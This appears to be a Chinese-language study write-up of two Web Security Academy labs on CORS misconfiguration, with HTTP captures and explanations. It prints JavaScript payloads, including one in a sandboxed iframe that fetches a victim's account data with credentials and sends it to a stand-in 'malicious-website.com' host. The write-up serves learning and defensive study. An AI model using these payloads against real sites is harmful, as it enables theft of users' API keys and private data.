写在前面
最近忙于复现比赛 今天来学点新知识
昨天做ctfshow的 cms 时 了解到了 有 Flash 的一个洞 和 cors 有关
今天来深入学习一下和cors有关的知识
start
什么是CORS?
跨域资源共享 (CORS) 是一种浏览器机制,可以对位于给定域之外的资源进行受控访问。它扩展并增加了同源策略 ( SOP ) 的灵活性。但是,如果网站的 CORS 策略配置和实施不当,它也会为基于跨域的攻击提供可能性。CORS 不是针对跨站请求伪造(CSRF)等跨源攻击的保护措施。
Same-origin policy(SOP)
同源策略是一种限制性的跨域规范,它限制了网站与源域之外的资源进行交互的能力。同源策略是多年前定义的,以应对潜在的恶意跨域交互,例如一个网站从另一个网站窃取私人数据。它通常允许一个域向其他域发出请求,但不允许访问响应。
提到这个同源 我就想到了以前写java 时 解决跨域时的痛苦debug经历
给了以下脚本来检索
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};
大致明白了 CORS 攻击的原理
首先 要找到类似于 XSS 的漏洞
比如这题 在插入脚本后 可得到 api 密钥
第一题 CORS vulnerability with basic origin reflection
题目要求
该网站具有不安全的CORS配置,因为它信任所有来源。
为了解决这个实验,制作一些 JavaScript,使用 CORS 来检索管理员的 API
密钥并将代码上传到您的漏洞利用服务器。当您成功提交管理员的 API 密钥时,实验室就解决了。您可以使用以下凭据登录自己的帐户: wiener:peter
突然发现我连扫描时API 密钥都不知道 。。。
我们登陆时请求 /accountDetails 会返回
HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true //重要 表明可能支持CORS
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 149
{
"username": "wiener",
"email": "",
"apikey": "4nZaUJ6Lx5iFLNNkT6WqKPbUhk3sggK5",
"sessions": [
"SQTSU53Uc6CmUuIFOXRtuLK6D5ktxblU"
]
}
现在思考一个问题 在这里的 apikey 的作用是什么?
有什么利用方式嘛 。。。(这个问题先留着)
看到可以更新邮箱 猜测拿到 apikey 后可以更新邮箱??
抓个包看一下
POST /my-account/change-email HTTP/1.1
Host: target-ac4f1f931f1056d680a7448700d9005f.web-security-academy.net
Cookie: session=SQTSU53Uc6CmUuIFOXRtuLK6D5ktxblU
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Origin: https://target-ac4f1f931f1056d680a7448700d9005f.web-security-academy.net
Referer: https://target-ac4f1f931f1056d680a7448700d9005f.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
email=dgsadfg%4011.com&csrf=lUQDlYV1q62F1Ue4fzXt3h3bDd4RXXUn
貌似改邮箱并用不到 apikey ??
emmm 那就找题目说的去拿吧 把刚才文章里的payload拿来改一下
放到攻击服务器里 可得到管理员的 apikey
CORS第二题 CORS vulnerability with trusted null origin
为什么感觉跟上题没啥区别
访问 /accoutDetails
怎么感觉和上题没啥区别???
HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 149
{
"username": "wiener",
"email": "",
"apikey": "eWGLUPc3TbDhdrNpaW9Ido6vYYbvObHf",
"sessions": [
"0b93NqhXQnM3dsrVM0RVZYAin1n7Wn06"
]
}
Whitelisted null origin value
需要利用新的知识点
Browsers might send the value null in the Origin header in various unusual situations:
Cross-site redirects.
Requests from serialized data.
Request using the file: protocol.
Sandboxed cross-origin requests.
如果一个应用程序收到一下请求
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null
而服务器响应
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
在这种情况下,攻击者可以使用各种技巧来生成一个在 Origin 头中包含 null 值的跨域请求. 其可以满足白名单, 导致跨域请求. 例如,可以利用iframe 跨域请求来过沙盒(如以下形式):
payload
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
回到题目 我们发送一个请求如下
GET /accountDetails HTTP/1.1
Origin:null
返回
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
满足攻击需求 可以直接攻击
参考文章
https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/